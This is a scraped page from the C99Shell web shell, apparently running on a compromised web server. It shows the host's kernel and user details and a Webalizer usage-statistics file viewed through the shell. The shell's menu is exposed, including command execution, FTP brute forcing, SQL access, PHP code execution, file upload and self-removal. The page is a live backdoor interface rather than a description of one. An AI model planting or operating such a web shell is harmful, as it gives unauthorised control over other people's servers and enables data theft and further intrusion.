!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/var/www/usage/   drwxr-xr-x
Free 3.86 GB of 27.03 GB (14.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.html (10.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Usage Statistics for mina-info.me - Last 12 Months

Usage Statistics for mina-info.me

Summary Period: Last 12 Months
Generated 14-May-2025 04:04 CEST

Usage summary for mina-info.me

Summary by Month
Month Daily Avg Monthly Totals
Hits Files Pages Visits Sites KBytes Visits Pages Files Hits
May 2025 500669 486275 486710 12531 11842 198457762 175439 6813941 6807857 7009379
Apr 2025 837290 833734 834384 17192 23636 754939045 515771 25031533 25012034 25118700
Mar 2025 428878 423418 425779 10991 23952 333594882 340722 13199179 13125960 13295221
Feb 2025 325236 316392 319852 10844 21535 223179831 303656 8955866 8858993 9106621
Jan 2025 332654 329426 329770 11925 23874 339070955 369700 10222878 10212220 10312290
Dec 2024 296860 293413 293766 11569 23299 276526464 358652 9106763 9095831 9202673
Nov 2024 329538 326185 326416 10821 20139 310477509 324655 9792503 9785575 9886159
Oct 2024 352967 349829 349946 15178 30005 300029657 470547 10848354 10844713 10941988
Sep 2024 339670 323463 324584 9397 28556 308188715 281916 9737535 9703893 10190122
Aug 2024 318825 314239 314326 8273 28001 284630504 256465 9744109 9741409 9883589
Jul 2024 294955 292031 292149 8490 26902 202493040 263208 9056620 9052979 9143614
Jun 2024 253185 250489 250492 8733 25588 149205708 262010 7514763 7514689 7595554
Totals 3680794072 3922741 130024044 129756153 131685910


Generated by Webalizer Version 2.01

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0027 ]--